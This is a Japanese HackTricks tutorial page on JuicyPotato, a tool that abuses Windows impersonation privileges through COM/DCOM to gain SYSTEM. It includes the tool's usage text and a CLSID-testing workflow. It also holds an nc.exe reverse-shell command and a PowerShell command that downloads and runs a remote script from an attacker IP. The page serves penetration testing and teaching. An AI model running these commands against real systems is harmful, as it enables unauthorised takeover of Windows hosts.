hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

13 KiB
Raw Blame History

JuicyPotato

htARTEHackTricks AWS Red Team Expert からAWSハッキングをゼロからヒーローまで学ぶ

WhiteIntel

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックする無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りとランサムウェア攻撃に対抗することです。

彼らのウェブサイトをチェックして、無料でエンジンを試してみてください:

{% embed url="https://whiteintel.io" %}


{% hint style="warning" %} JuicyPotatoは Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、PrintSpooferRoguePotatoSharpEfsPotatoを使用して、同じ特権を利用してNT AUTHORITY\SYSTEM**レベルのアクセスを獲得できます。チェック: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato黄金特権の悪用

RottenPotatoNG の甘いバージョンで、少しジュースを加えたもの、つまりWindowsサービスアカウントからNT AUTHORITY\SYSTEMへの別のローカル特権昇格ツール

juicypotatoをここからダウンロードできます

概要

juicy-potato Readmeから:

RottenPotatoNGおよびそのバリアントは、BITS サービスに基づく特権昇格チェーンを活用し、MiTMリスナーが127.0.0.1:6666で実行され、SeImpersonateまたはSeAssignPrimaryToken特権を持っているときに発生します。Windowsビルドのレビュー中に、BITSが意図的に無効にされ、ポート6666が使用されているセットアップを見つけました。

RottenPotatoNGを武器化することにしました:Juicy Potatoをご覧ください

理論については、Rotten Potato - サービスアカウントからSYSTEMへの特権昇格を参照し、リンクと参照先のチェーンをたどってください。

私たちは、BITS以外にも悪用できるCOMサーバーがいくつかあることを発見しました。それらは単に次のようである必要があります

  1. 現在のユーザー(通常はインパーソネーション特権を持つ「サービスユーザー」)によってインスタンス化できる
  2. IMarshalインターフェースを実装する
  3. 昇格されたユーザーSYSTEM、管理者、...)として実行される

いくつかのテストの後、興味深いCLSIDの詳細なリストをいくつかのWindowsバージョンで取得してテストしました。

Juicyの詳細

JuicyPotatoを使用すると、次のことができます

  • ターゲットCLSID 希望するCLSIDを選択します。 ここでOSごとに整理されたリストを見つけることができます。
  • COMリスニングポート マーシャリングされたハードコードされた6666の代わりに好きなCOMリスニングポートを定義します
  • COMリスニングIPアドレス サーバーを任意のIPにバインドします
  • プロセス作成モード インパーソネーションされたユーザーの特権に応じて、次から選択できます:
  • CreateProcessWithTokenSeImpersonateが必要)
  • CreateProcessAsUserSeAssignPrimaryTokenが必要)
  • 両方
  • 起動するプロセス 悪用が成功した場合に実行する実行可能ファイルまたはスクリプトを起動します
  • プロセス引数 起動されるプロセスの引数をカスタマイズします
  • RPCサーバーアドレス ステルスアプローチのために、外部RPCサーバーに認証できます
  • RPCサーバーポート 外部サーバーに認証する場合で、ファイアウォールがポート135をブロックしている場合に便利です...
  • TESTモード 主にテスト目的で、CLSIDsのテストに使用されます。DCOMを作成し、トークンのユーザーを表示します。テストについては こちらを参照してください

使用法

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

最終的な考え

Juicy Potato Readme** から:**

ユーザーが SeImpersonate または SeAssignPrimaryToken 特権を持っている場合、あなたは SYSTEM です。

これらのすべての COM サーバーの悪用を防ぐのはほぼ不可能です。これらのオブジェクトのアクセス許可を DCOMCNFG を介して変更することを考えることができますが、成功を祈ります。これは挑戦的な作業になるでしょう。

実際の解決策は、* SERVICE アカウントで実行される機密アカウントやアプリケーションを保護することです。DCOM を停止することは、このエクスプロイトを阻止する一方、基礎となる OS に深刻な影響を与える可能性があります。

出典: http://ohpe.it/juicy-potato/

注意: 試すための CLSID のリストについては、このページ を参照してください。

nc.exe リバースシェルを取得

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

Powershell逆

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

新しいCMDを起動するRDPアクセスがある場合

CLSIDの問題

しばしば、JuicyPotatoが使用するデフォルトのCLSIDは機能せず、エクスプロイトが失敗します。通常、動作するCLSIDを見つけるために複数の試行が必要です。特定のオペレーティングシステム用に試すためのCLSIDのリストを取得するには、次のページを参照してください

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

CLSIDsの確認

まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。

Join-Object.ps1をダウンロードしてPSセッションにロードし、GetCLSID.ps1をダウンロードして実行します。そのスクリプトはテストする可能性のあるCLSIDのリストを作成します。

次に、test_clsid.bat (CLSIDリストへのパスとjuicypotato実行可能ファイルへのパスを変更してください)をダウンロードして実行します。すべてのCLSIDを試行し始め、ポート番号が変わると、CLSIDが機能したことを意味します

動作するCLSIDをパラメータ -c を使用して確認します

参考文献

WhiteIntel

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックするための無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

{% embed url="https://whiteintel.io" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert